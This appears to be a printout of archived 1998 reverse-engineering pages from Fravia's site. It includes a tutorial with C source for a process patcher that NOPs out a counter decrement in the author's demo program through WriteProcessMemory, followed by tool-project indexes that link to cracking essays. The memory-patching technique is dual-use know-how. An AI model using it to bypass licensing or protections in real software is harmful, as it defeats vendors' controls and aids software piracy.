The difference is that we dont have to specify a window title, because we will
use KERNEL32!CreateProcess and therefore we will automatically get the
Process handle (with PROCESS_ALL_ACCESS) returned in a structure.

Let us go through each task of the patcher :

Getting commandline :
-----------------------------

This may also be usefull if you have renamed the patcher.exe to app.exe .
This way the app will receive the commandline from the patcher and
thus the patcher will be fully transparency to the child process.

Remark : do not change the name if the app performs a CRC-Check on the exe
!!!,

http://www.instinct.org/fravia/natz_mp2.htm (9 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

otherwise it will do the check on the patcher and thats even logical
;)

Create new process and handle commandline to it :


------------------------------------------------------------------

Win95 does it the same way and again we will be fully transparency to the child
process.

Wait until the process was fully initialized :


-------------------------------------------------------

This is necessary, because the memory of the child processes wasnt commited yet
which means that there is garbage at this point.
I used WaitForInputIdle to make sure the memory was commited.
This function waits until the given process is waiting for user input.

Remark : If this is too late for your app you may do compare constantly !!!

Patch the process :


-------------------------

After the process memory was commited and the byte check was ok we now can simply
patch the process.

Finally terminate and leave the new process alone :


-------------------------------------------------------------------

This is optional , but dont forget to close the process and thread handles.

Ok , before i give you the source here are the Descriptions of the functions
from win32.hlp:

The CreateProcess function creates a new process and its primary thread.
The new process executes the specified executable file.

BOOL CreateProcess(

LPCTSTR lpApplicationName, // pointer to name of executable


module
LPTSTR lpCommandLine, // pointer to command line string
LPSECURITY_ATTRIBUTES lpProcessAttributes, // pointer to process security
attributes
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to thread security
attributes
BOOL bInheritHandles, // handle inheritance flag
DWORD dwCreationFlags, // creation flags
LPVOID lpEnvironment, // pointer to new environment block
LPCTSTR lpCurrentDirectory, // pointer to current directory name
LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION
);

http://www.instinct.org/fravia/natz_mp2.htm (10 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

Parameters

lpApplicationName

Pointer to a null-terminated string that specifies the module to execute.


The string can specify the full path and filename of the module to execute.
The string can specify a partial name. In that case, the function uses the
current drive and current directory to complete the specification.
The lpApplicationName parameter can be NULL. In that case, the module name
must be the first white space-delimited token in the lpCommandLine string.
The specified module can be a Win32-based application.
It can be some other type of module (for example, MS-DOS or OS/2) if the
appropriate subsystem is available on the local computer.

Windows NT : If the executable module is a 16-bit application,


lpApplicationName should be NULL, and the string pointed to by
lpCommandLine should specify the executable module.
A 16-bit application is one that executes as a VDM or WOW process.

lpCommandLine

Pointer to a null-terminated string that specifies the command line to


execute.
The lpCommandLine parameter can be NULL. In that case, the function uses the
string pointed to by lpApplicationName as the command line.
If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName
specifies the module to execute, and *lpCommandLine specifies the command
line.
The new process can use GetCommandLine to retrieve the entire command line.
C runtime processes can use the argc and argv arguments.

If lpApplicationName is NULL, the first white space-delimited token of the command


line
specifies the module name. If the filename does not contain an extension,
.EXE is assumed. If the filename ends in a period (.) with no extension, or the
filename
contains a path, .EXE is not appended. If the filename does not contain a directory
path,
Windows searches for the executable file in the following sequence:

1. The directory from which the application loaded.


2. The current directory for the parent process.
3. Windows 95: The Windows system directory. Use the GetSystemDirectory function
to get the path of this directory.

Windows NT: The 32-bit Windows system directory. Use the GetSystemDirectory function
to get the path of this directory. The name of this directory is SYSTEM32.

4. Windows NT only: The 16-bit Windows system directory. There is no Win32


function
that obtains the path of this directory, but it is searched.
The name of this directory is SYSTEM.
5. The Windows directory. Use the GetWindowsDirectory function to get the path
of

http://www.instinct.org/fravia/natz_mp2.htm (11 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

this directory.
6. The directories that are listed in the PATH environment variable.

If the process to be created is an MS-DOS - based or Windows-based application,


lpCommandLine should be a full command line in which the first element is the
application name. Because this also works well for Win32-based applications, it is
the
most robust way to set lpCommandLine.

lpProcessAttributes

Points to a SECURITY_ATTRIBUTES structure that specifies the security attributes for


the created process.
If lpProcessAttributes is NULL, the process is created with a default
security descriptor, and the resulting handle is not inherited.

lpThreadAttributes

Points to a SECURITY_ATTRIBUTES structure that specifies the security attributes for


the primary thread of the new process. If lpThreadAttributes is NULL, the process is
created with a default security descriptor, and the resulting handle is not
inherited.

bInheritHandles

Indicates whether the new process inherits handles from the calling process.
If TRUE, each inheritable open handle in the calling process is inherited by the new
process. Inherited handles have the same value and access privileges as the original
handles.

dwCreationFlags

Specifies additional flags that control the priority class and the creation of the
process. The following creation flags can be specified in any combination, except as
noted:

Value Meaning
CREATE_DEFAULT_ERROR_MODE The new process does not inherit the error mode of
the
calling process. Instead, CreateProcess gives the new
process the current default error mode. An
application
sets the current default error mode by calling
SetErrorMode.This flag is particularly useful for
multi-threaded shell applications that run with hard
errors disabled. The default behavior for
CreateProcess
is for the new process to inherit the error mode of
the
caller. Setting this flag changes that default
behavior.
CREATE_NEW_CONSOLE The new process has a new console, instead of
inheriting
the parent's console. This flag cannot be used with
the

http://www.instinct.org/fravia/natz_mp2.htm (12 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

DETACHED_PROCESS flag.
CREATE_NEW_PROCESS_GROUP The new process is the root process of a new process
group. The process group includes all processes that
are
descendants of this root process. The process ID of
the
new process group is the same as the process ID,
which
is returned in the lpProcessInformation parameter.
Process groups are used by the
GenerateConsoleCtrlEvent
function to enable sending a CTRL+C or CTRL+BREAK
signal
to a group of console processes.
CREATE_SEPARATE_WOW_VDM This flag is only valid only launching a 16-bit Windows
program. If set, the new process is run in a private
Virtual DOS Machine (VDM). By default, all 16-bit
Windows programs are run in a single, shared VDM.
The advantage of running separately is that a crash
only kills the single VDM; any other programs running
in distinct VDMs continue to function normally.
Also, 16-bit Windows applications which are run in
separate VDMs have separate input queues. That means
that
if one application hangs momentarily, applications in
separate VDMs continue to receive input.
CREATE_SHARED_WOW_VDM Windows NT: The flag is valid only when launching a
16-bit Windows program. If the DefaultSeparateVDM
switch
in the Windows section of WIN.INI is TRUE, this flag
causes the CreateProcess function to override the
switch
and run the new process in the shared Virtual DOS
Machine.
CREATE_SUSPENDED The primary thread of the new process is created in a
suspended state, and does not run until the
ResumeThread
function is called.
CREATE_UNICODE_ENVIRONMENT If set, the environment block pointed to by
lpEnvironment
uses Unicode characters. If clear, the environment
block
uses ANSI characters.
DEBUG_PROCESS If this flag is set, the calling process is treated
as a
debugger, and the new process is a process being
debugged.
The system notifies the debugger of all debug events
that occur in the process being debugged.
If you create a process with this flag set, only the
calling thread (the thread that called CreateProcess)
can call the WaitForDebugEvent function.
DEBUG_ONLY_THIS_PROCESS if not set and the calling process is being debugged,
the new process becomes another process being
debugged

http://www.instinct.org/fravia/natz_mp2.htm (13 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

by the calling process's debugger. If the calling


process
is not a process being debugged, no debugging-related
actions occur.
DETACHED_PROCESS For console processes, the new process does not have
access to the console of the parent process.
The new process can call the AllocConsole function at
a later time to create a new console. This flag
cannot
be used with the CREATE_NEW_CONSOLE flag.
The dwCreationFlags parameter also controls the new
process's priority class, which is used in
determining
the scheduling priorities of the process's threads.
If none of the following priority class flags is
specified, the priority class defaults to
NORMAL_PRIORITY_CLASS unless the priority class of
the
creating process is IDLE_PRIORITY_CLASS. In this case
the default priority class of the child process is
IDLE_PRIORITY_CLASS. One of the following flags can
be
specified:

Priority Meaning
HIGH_PRIORITY_CLASS Indicates a process that performs time-critical tasks that
must
be executed immediately for it to run correctly.
The threads of a high-priority class process preempt the
threads
of normal-priority or idle-priority class processes.
An example is Windows Task List, which must respond quickly
when
called by the user, regardless of the load on the operating
system. Use extreme care when using the high-priority class,
because a high-priority class CPU-bound application can use
nearly all available cycles.
IDLE_PRIORITY_CLASS Indicates a process whose threads run only when the system is
idle and are preempted by the threads of any process running
in
a higher priority class. An example is a screen saver.
The idle priority class is inherited by child processes.
NORMAL_PRIORITY_CLASS Indicates a normal process with no special scheduling needs.
REALTIME_PRIORITY_CLASS Indicates a process that has the highest possible priority.
The threads of a real-time priority class process preempt the
threads of all other processes, including operating system
processes performing important tasks. For example, a
real-time
process that executes for more than a very brief interval can
cause disk caches not to flush or cause the mouse to be
unresponsive.
lpEnvironment

Points to an environment block for the new process. If this parameter is NULL,
the new process uses the environment of the calling process.

http://www.instinct.org/fravia/natz_mp2.htm (14 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

An environment block consists of a null-terminated block of null-terminated strings.


Each string is in the form:

name=value

Because the equal sign is used as a separator, it must not be used in the name of an
environment variable.
If an application provides an environment block, rather than passing NULL for this
parameter, the current directory information of the system drives is not
automatically
propagated to the new process. For a discussion of this situation and how to handle
it,
see the following Remarks section.
An environment block can contain Unicode or ANSI characters. If the environment block
pointed to by lpEnvironment contains Unicode characters, the dwCreationFlags field's
CREATE_UNICODE_ENVIRONMENT flag will be set. If the block contains ANSI characters,
that flag will be clear.

Note that an ANSI environment block is terminated by two zero bytes: one for the last
string, one more to terminate the block. A Unicode environment block is terminated by
four zero bytes: two for the last string, two more to terminate the block.

lpCurrentDirectory

Points to a null-terminated string that specifies the current drive and directory for
the
child process. The string must be a full path and filename that includes a drive
letter.
If this parameter is NULL, the new process is created with the same current drive and
directory as the calling process. This option is provided primarily for shells that
need
to start an application and specify its initial drive and working directory.

lpStartupInfo

Points to a STARTUPINFO structure that specifies how the main window for the new
process
should appear.

lpProcessInformation

Points to a PROCESS_INFORMATION structure that receives identification information


about
the new process.

Return Value

If the function succeeds, the return value is TRUE.


If the function fails, the return value is FALSE. To get extended error information,
call GetLastError.

http://www.instinct.org/fravia/natz_mp2.htm (15 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

TUT: wow ! this function has lotta paramaters ;) , but dont worry most of em can
be NULL.

lpApplicationName = your choice // pointer to name of executable


module
lpCommandLine = result of getcommandine // pointer to command line string
lpProcessAttributes = NULL // pointer to process security
attributes
lpThreadAttributes = NULL // pointer to thread security
attributes
bInheritHandles = FALSE // handle inheritance flag
dwCreationFlags = NORMAL_PRIORITY_CLASS // creation flags
lpEnvironment = NULL // pointer to new environment block
lpCurrentDirectory = NULL // pointer to current directory name
lpStartupInfo = ? // pointer to STARTUPINFO
lpProcessInformation = ? // pointer to PROCESS_INFORMATION

Now we have a look at the STARTUPINFO structure :

typedef struct _STARTUPINFO { // si

DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO

Its eneugh to initialize all values to zero and cb to sizeof(si).

Now we have a look at the PROCESS_INFORMATION structure :

typedef struct _PROCESS_INFORMATION { // pi

HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;

http://www.instinct.org/fravia/natz_mp2.htm (16 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

The PROCESS_INFORMATION structure is filled in by the CreateProcess


function with information about a newly created process and its
primary thread.

Members

hProcess

Returns a handle to the newly created process. The handle is used to


specify the process in all functions that perform operations on the
process object.

hThread

Returns a handle to the primary thread of the newly created process.


The handle is used to specify the thread in all functions that perform
operations on the thread object.

dwProcessId

Returns a global process identifier that can be used to identify a process.


The value is valid from the time the process is created until the time
the process is terminated.

dwThreadId

Returns a global thread identifiers that can be used to identify a thread.


The value is valid from the time the thread is created until the time the
thread is terminated.

TUT:
This structure will be returned by CreateProcess and it includes the process handle.
Now we got all parameters to create the process, but after it was created we have
to wait until it was initialized. Therefore we must call WaitForInputIdle (hProcess,
INFINITE) to make sure the whole virtual memory of the new process was commited,
before we can patch it.
Before we terminate we also have to close the process and thread handle.

SOURCE:
I wrote a simple Process-Patcher PPATCH.EXE which will patch COUNTERS.EXE.
COUNTERS.EXE was shrinked and it consists only of a counter and a button.
If you press the button it will decrement the counter by one and a MessageBox with
"GO ON !!!" will pop up. If you have reach 0 the MessageBox will show you "GAME OVER
!!!".
Put both exe into the same dir and execute PPATCH.EXE.
Sorry that counters.exe is over 100kb, but Shrinker does not accept small files ;)

Here is the source of PPATCH

/*------------------------------------------------------------ PPATCH.C -- Process Patcher Demo (c) NaTzGUL, 1998 Description :


This is a Process Patcher for counters.exe ------------------------------------------------------------*/ #include <windows.h> void
messbox (char* mess) { static char caption[]="Process Patcher Error"; MessageBox
(NULL,mess,&caption,MB_OK|MB_ICONERROR); } void main () { STARTUPINFO si; PROCESS_INFORMATION pi;
char* cl; int x; static long BaseAddress=0x4255C1; static char original[6]={0xFF,0x0D,0x14,0x68,0x42,0x00}; static char

http://www.instinct.org/fravia/natz_mp2.htm (17 of 18) [2/7/2001 3:08:17 PM]


natz_mp2.htm HOW TO ACCESS THE MEMORY OF A PROCESS (i.e. Game Trainer, Process Patcher etc.)

new_bytes[6]={0x90,0x90,0x90,0x90,0x90,0x90}; static char Buffer[6]; static char fname[]="counters.exe"; static char


err1[]="Can't CreateProcess "; static char err2[]="Can't ReadProcessMemory"; static char err3[]="Bytes don't match"; static
char err4[]="Can't WriteProcessMemory"; ZeroMemory (&si,sizeof (si)); si.cb=sizeof (si); cl=GetCommandLine (); if
(CreateProcess (&fname,cl,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS, NULL,NULL,&si,&pi)) {
WaitForInputIdle (pi.hProcess,INFINITE); if (ReadProcessMemory (pi.hProcess,BaseAddress,&Buffer,6,NULL)) { for
(x=0;(Buffer[x]==original[x])&&(x<5);x++); if (x==5) { if (!WriteProcessMemory
(pi.hProcess,BaseAddress,&new_bytes,6,NULL)) messbox(&err4); } else messbox(&err3); } else messbox(&err2);
CloseHandle (pi.hProcess); CloseHandle (pi.hThread); } else messbox(&err1); } >

Final Notes
I) GREETINGS

Groups:

REVOLT, #CRACKING, UCF, PC97, HERITAGE,CRC32


#CRACKING4NEWBIES, CORE, RZR, PWA, XF, DEV etc.

PERSONAL:

Quine, CoPhiber, Spanky, Doc-Man, Korak, lgb, DDensity,


Krazy_N, Sirax, Norway, delusion, riches, Laamaah,
Darkrat, wiesel, DirHauge, GnoStiC, JosephCo, niabi,Voxel,
TeRaPhY, NiTR8, Marlman, OWL, razzia, K_LeCTeR, FaNt0m,
zz187, HP, Johnastig, StarFury, Hero, +ORC, +Crackers,
Fravia+, LordCaligo, BASSMATIC, j0b ,xoanon, EDISON etc.

Ob Duh
Ob duh does not apply here, quite the contrary: many will use the material we are explaining here to build and sell their own
applications without even referring to Natzgul's work... poor sods... by the time they will have made some slimy money we will
already be three light years ahead with our tools

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to our tools

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/natz_mp2.htm (18 of 18) [2/7/2001 3:08:17 PM]


ourtools.htm +HCU 1998: special project: Our Tools

+HCU: Academy of reverse engineering


Founded by +ORC in April 1996

+HCU's special Project: 'Our own tools'


Project start: Last update:
January 1998 November 1998

[Background] ~ [Tools] ~ [How to use Our Tools]

Courtesy of Fravia's pages of reverse engineering

Tools by us, for us, to reverse the hell out of it


November 1998
Dear fellow crackers, reversers and protectors, we need good and powerful tools to
reverse the hell out of it, and we need to know how to use them effectively, and we
need to know WHICH tools are out there, on this ever-expanding web of ours, where
among tons of useless frills you can find some rare gems like this incredibly good
south corean disassembler (with source code!). Moreover we need to develop (or
caper) our own tools, because most of the 'tools of the trade' we use have been made
more in order to check and repair buggy programs you already have the source code
of than to reverse programs you don't even know which compiler has been used for :-)
If you are so deep inside my site, you already know what reversers use. We use
debuggers (like Softice), disassemblers (like IDA and Wdasm32), flow-analyzers (like
Smartcheck), port, file, register and API interceptors (like the great sysnternals suite),
windows identifyers (like Customizer) and so on and so on... of course, being
respectful reversers, the first approach when developing our own tools is simply to rip
all the tricks we need out of the existing tools :-)
Good wizard +Mammon_ started this fundamental 'scouting' work: you'll be able to
read here his first findings. Let's now continue:
Let's LIST the existing tools, a difficult enough task

Let's MASTER the use of those we reckon to be the BEST, a difficult enough
From Fravia's own private task
"cracking posters" collection
Let's study these targets IN THE DEEP and let's analyse their tricks (in fact

"We can do it!" let's completely REVERSE them), a difficult enough task.
(1941) We will -in due time- ameliorate and modify the most interesting code solutions we'll
have found in order to produce our own tools, as +RCG showed in his essay about
The +HCU project COMSPY 98. There's no harry: we have all the time of the world and I'm sure that

http://www.instinct.org/fravia/ourtools.htm (1 of 5) [2/7/2001 3:08:28 PM]


ourtools.htm +HCU 1998: special project: Our Tools

Our own tools with the contribution of the smartest reversers of this planet we will succeed.
(1998)
There should be a couple of differences between "our tools" and the existing ones:
1) our tools will always be free and will be given out to anybody not only with their
source code but also with a complete "history" of their development, that you'll also
be able to follow on this site.
2) Our tools will be more 'target oriented' (if you know what I mean :-) than the
existing ones for obvious reasons.

Now let's see if we can put some deeds where our mouth is... as usual a project like this one will florish and prosper
if many will contribute, will pepper out and die if you do not contribute and if you think it's a smart move just to
leech things out, without giving anything in exchange... you're not doing just that, are you?

24 Februar 1998 __EXPERT__


Well, NaTzGUL, for one, certainly was no leecher! his "wisdec" is a real beauty!
This is no usual 'essat', this is an example of the creativity and of the cleverness of higher crackers! Enjoy!
Here follows a little list of existing interesting tools (all of them fiddling with vdx and APIs) that you would be well
advised to reverse/study/investigate (please notice/add/crack all OTHER missing ones):

Filemon, Regmon, VdxMon, by Mark Russinowich, see my filemon1.htm (etc) essays


MemMonitor95 (see Footsteps' footthun.htm
Tekfct (see my tekles1.htm)
Comspy 98 (see +RCG's rcg_cmsp.htm)
Numega's Softice (see the whole project2.htm)
Numega Boundschecker (see Shadows' shadow1.htm)
Numega's Smartcheck (see Snatch's snatch1.htm and my anonma2.htm)

PROGRAMMING OUR OWN TOOLS


(The long steep road to wizardry)
[Background] ~ [Tools] ~ [How to use Our Tools]

Background readings

PHASE 1
Filemon, a complete disassembly
[part one] [part two] [part three] [part four] [part five]
by fravia+
August - September 1997

PHASE 2
MemMonitor95 Standard 4.0 and its ThunkConnect32 relations
(Half-crippled program / Unhiding an hidden window / Thunk vagaries)

http://www.instinct.org/fravia/ourtools.htm (2 of 5) [2/7/2001 3:08:28 PM]


ourtools.htm +HCU 1998: special project: Our Tools

by Footsteps
22 November 1997

PHASE 3
CRYPTOGRAPHY AND MATHEMATICS OF CHAOS
by +Rcg
14 January 1998

PHASE 4
A FIRST INTRODUCTION TO VxD
by +Rcg
14 January 1998

PHASE 5
VXDennis the menace ~ Fun with VRAMDIR v1.07
by CoreFixar
01 February 1998

Our Tools directly related essays

PHASE 1
COMSPY98: A TOOL OF OUR TRADE
Magic APIs hooking in Windoze
by +Rcg
15 January 1998

PHASE 2
Mammon's first findings
API Vision (avdemo15.exe) promises
by +Mammon
15 January 1998

PHASE 3
Extending the IDA Script Language
A First Stab

http://www.instinct.org/fravia/ourtools.htm (3 of 5) [2/7/2001 3:08:28 PM]


ourtools.htm +HCU 1998: special project: Our Tools

by +Quine
27 January 1998

PHASE 4
How to access the memory of a process, a Tutorial
A First Stab
by NaTzGUL
17 Februar 1998

PHASE 5
NaTzGUL's "wisdec" (Installshield decompiler)
A "real" program (1.052.922 bytes)
by NaTzGUL
24 Februar 1998 __EXPERT__

PHASE 6
SiuL+Hacky's Linux GUIs. The Chances. (Advanced Linux cracking)
by SiuL+Hacky
01 March 1998 __ADVANCED__

10 July
Ozymandias ~ ozyma1.htm Opera 3.21 crack ourtools ~ fra_0134
98
10 July advanced
SiuL+Hacky ~ siullin2.htm Ltrace. The Tool (Linux disassembling) ~ fra_0135
98 ourtools
06 Sep advanced
SiuL+Hacky ~ siulflex.htm Linux advanced cracking: flexlm ~ fra_014C
98 Ourtools
14 Oct Finding an hidden incredible database inside proj 9
TWD ~ twdaplog.htm ~ fra_015A
98 windows98 ourtools
30 Oct A New Toy: reversing the different 'modes'
by Swann ~ swann_mm.htm Ourtools ~ fra_0160
98 of a target
30 Oct advanced
adq ~ laste_09.htm isDcc: An installshield Decompiler ~ fra_0162
98 ourtools
30 Oct Nikodemos The Quick Guide to Smashing those
~ getinfo.htm ourtools ~ fra_0162
98 (Jayke) insidious *.DAT filez
12 Nov
_Al ~ idasym.zip Converts IDA map file to a SoftIce SYM file ourtools ~ fra_tools
98

http://www.instinct.org/fravia/ourtools.htm (4 of 5) [2/7/2001 3:08:28 PM]


ourtools.htm +HCU 1998: special project: Our Tools

You are deep inside fravia's page of reverse engineering, choose your way out:

How to use our tools

Programmer's corner Our Protections How to protect better Packers & Unp

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia+ 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/ourtools.htm (5 of 5) [2/7/2001 3:08:28 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

How to use
our tools
Updated: December 1998
Part of the Our tools project
[Background
readings]
~
[Related
essays]

[IDA] ~ [SOFTICE] ~ [SMARTCHECK] ~ [WDASM] ~ [RESOURCE EDITORS]


[OTHER TOOLS] ~ [TIPS & TRICKS]

Make sure you check (and contribute to) the tools of our trade messageboard!

Reversers need tools: from debug.com (the swiss knife of a cracker) to Smartcheck, a great variety of 'snooping' and reversing
tools have been produced, many by great programmer wizards, some of them by ourselves... this section of my site will just
give you some 'basic understanding' about the main tools of our trade: Ida, Softice, Wdasm... you would be well advised to
visit my various tools pages in order to gather other possibly useful tools. Keeping my 'don't steal, reverse!' traditional code of
conduit, you will NEVER be able to find any stolen or cracked application on my site. There's no need. Not only the
'uncracked' versions are very easy to reverse, but also, as explained elsewhere, everything is on the web already, regged and
complete if you'r a lamer, as trial version if you'r a real reverser... you just have to find it. But I'll tell you something: I paid
for ALL tools I use (albeit through pseudonymous addresses and identities :-)
Yes, I paid for wdasm -for instance-, since I, personally, never use a tool that I find really useful more than a year without
registering it. I register them (when I find it fit, of course, not when somebody else would like me to) even if the protections are
a joke (as it often happens... at times I have the impression that Numega -for instance- is just faking a 'sort of' bogus and easy
to reverse protection on all its beautiful products... probably in order to spread million copies of (stolen) softice in every
corner of the world). This 'registering' attitude is not just silly 'correctness', which does not mean anything to us, the reason is
much more deep: being 'quit' is vital for your own development: of course we crack protections but we don't (and won't) STOP
there! As soon as 'real' reversers 'really' use somebody else's code (which does not happen too often, after all) they want to
modify it, they (usually) want to create something new with it, and this is great fun, and this is useful, and this teaches us a
lot... so the price we gladly pay is the price of our own pleasure.

IDA
IDA PRO 3.7 Commercial -very powerful- disassembler for almost any type of processors and file types. Made (with
Watcom C and Borland C++) by the russian genius Ilfak Guilfanov.
Freeware version of Ida Pro "Ida37fw" can be found in the simtelnet collections.

IDA

http://www.instinct.org/fravia/howtouse.htm (1 of 6) [2/7/2001 3:08:44 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

IDA PRIMER
Ida's philosophy, main settings, how to start
by +Mammon
21 October 1998

IDA
THE GREAT IDA PRIMER
Mammon_'s Tales to Fravia+'s Grandson
by +Mammon
30 October 1998

IDA
An IDA enhancer
Patching the IDA.WLL
by Jean-Marc
12 November 1998

SOFTICE
Softice, the debugger par excellence, its first dos version have been made by the mightiest programmer gods of this planet in
the forgotten times of the older ones... Numega has since provided all reversers with a series of incredible ameliorations of its
tool.
A tough tool to use, though. OF COURSE you should read the (heavy) documentation, available almost everywhere. Don't go
shooting around targets with this weapon without knowing what it can do. IMO you would be then well advised to

Start with good wizard +Mammon's Mankind comes into the Ice Age
there you will find a COMPLETE 'how to use Softice' text with two VERY IMPORTANT exercises:
Debugging an existing application and Regaining Lost Access.
No beginner should be left alone with Softice without this mighty help!

Of course, if you are a total newbye, and cannot even INSTALL softice, you better have a look at siceinst.htm: The Ultimate
Beginner - Session 1: SoftICE Install for Beginners, by i_magnus

SOFTICE
SOFTICE PRIMER
Softice's breakpoints, an interesting list
by +Greythorne

SOFTICE

http://www.instinct.org/fravia/howtouse.htm (2 of 6) [2/7/2001 3:08:44 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

SOFTICE PRIMER
Softice's conditional breakpoints settings and macros
by Rhayader

SOFTICE
SOFTICE PRIMER
Extending NuMega's SoftIce for Windows 95 using Protected Mode Debugger services API
by Iceman

SOFTICE
Project two: a complete +HCU project about Softice
You'll follow the 'history' of cracking and using softice reading many essays
by various students

SOFTICE
How to trick Numegas registration routines (and download everything you want from Numega's
site) disassembling Softice itself
by +OCHE SATRIANI & +OBLEK
So you wanna register sice with your own name and 'correct' serial number? Nothing easier...

SMARTCHECK
Smartcheck, by Numega, is another incredible reversing tool. Smartcheck is a 'flow analyzer",
that, if the settings are correct will easily let you individuate which parts of an alien code are
running when something you are investigating happens, giving you the exact code location that
has called a particular API or hook.

proj 2
27 Oct 97 Snatch ~ snatch1.htm An interesting tool: Numega Smartcheck 5.0 ~ fra_0094
proj 7
proj 2
7 Nov 97 fravia+ ~ anonma2.htm An interesting tool: Numega's Smartcheck ~ fra_00A5
proj 8
25 Feb 98 Hs2L ~ smartc_2.htm An example of VB Cracking using SmartCheck proj 8 ~ fra_00EA
04 May 98 +Indian_Trail ~ ind_tra1.htm BEGINNERS:Pluckit 3.0 ~ Hip Hip Hurray for Smartcheck proj 8 ~ fra_010F

http://www.instinct.org/fravia/howtouse.htm (3 of 6) [2/7/2001 3:08:44 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

WDASM
Win32dasm V8.9 W32Dasm is a Windows Program Disassembler/Debugger by Peter Urbanik,
URSoftware.
A demo version can be found in the simtelnet collections.

WDASM
Project zero: a concluded +HCU project about wdasm
You'll follow the 'history' of cracking and using wdasm in nine essays
by various students

RESOURCE EDITORS

26 May 97 fravia+ ~ ultrae2.htm


An interesting tool: BRW unass. ~ fra_001C
How to perform some magic reversing with good old unass.
31 Mar 98 F_KingKrazy ~ kk_cunei.htm ~ fra_00FE
BRW
Using BRW: How to make passwords hidden by
02 Dec 98 LordCaligo ~ caligo4.htm howtouse ~ fra_016F
"stars" visible

You are deep inside fravia's page of reverse engineering, choose your way out:

Programmer's corner Our Protections How to protect better Packers & Unp

OTHER TOOLS

http://www.instinct.org/fravia/howtouse.htm (4 of 6) [2/7/2001 3:08:44 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

TIPS & TRICKS


[Disassembled code in Delphi] ~ [Boot softice yes/no?] ~

1) DISASSEMBLED CODE IN DELPHI

In Delphi 2.0, it is possible to see disassembled code at runtime.


This feature isn't documented. Here's how you do it:

1. Run REGEDIT

2. Open register HKEY_CURRENT_USER

3. Select or add the key \Software\Borland\Delphi 2.0\Debugging

4. Add new value: EnableCPU="1"

5. Close register.

Now you'll notice that the View menu has a new entry named CPU.
Give it a try!

2) BOOT SOFTICE YES/NO?

Put this at the end of your autoexec.bat

REM begin boot options ------------------------


set Winice1="Load WinIce"
set Winice2="Not Using WinIce Today"
echo Please Specify Whether You Want To Use WinIce
echo.
echo Press 1 for %Winice1%
echo or
echo Press 2 for %Winice2%
echo.
choice /c:12 /T:2,2 Choose an option
if errorlevel 2 goto NoLo
if errorlevel 1 goto Lo

http://www.instinct.org/fravia/howtouse.htm (5 of 6) [2/7/2001 3:08:44 PM]


howtouse.htm +HCU 1998: special project: Our Tools: How to use our tools

:Lo
C:\SIW95\WINICE.EXE
goto end
:NoLo
echo.
echo WinIce Will Not Be Loaded.
:end
REM end boot options ------------------------
Explanation of /T:2,2:
the first "2" is the option if you don't press anything. The second "2" is the number of seconds if
no instructions are given. So /T:2,2 means the default is 2 after 2 seconds of no instructions.

Eternal_Bliss(at)hotmail(point)com

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails search_forms mail_fravia
Is reverse engineering legal?

(c) Fravia+ 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/howtouse.htm (6 of 6) [2/7/2001 3:08:44 PM]


Fravia's Message Board - IDA primer

Our Tools

How to use 'Our Tools': 1) IDA primer


Ida's philosophy, main settings, how to start
By +Mammon, The Owl and alia
21 October 1998

Courtesy of fravia's pages of reverse engineering

Well, I'm glad to present the first of a series of article about 'how to use our tools', a very important
'reference' section for all reversers that do peruse my site and for all beginners that never had the courage
to ask...
I hope that many more contributions will follow, so that this 'first stab at' can develop into a real
fundamental reference.

The Owl

let me have my 2 cents on this ;-)

IDA is a reverse engineering tool which brings us to the definition of RevEng (as i like to abbreviate it,
pun indended ;-). in contrast to crackers, RevEngers want to get some knowledge embedded in an
executable to put it to their own use or for the experience itself. this info includes protection routines of
course, but that's only a subset of the info you can find in a program. now, how does IDA come into the
picture?

the entire structure of IDA represents a philosophy which is very pleasing for a true RevEnger, but may
not be obvious for the first time user, especially if he's looking for some quick substitute for w32dasm or
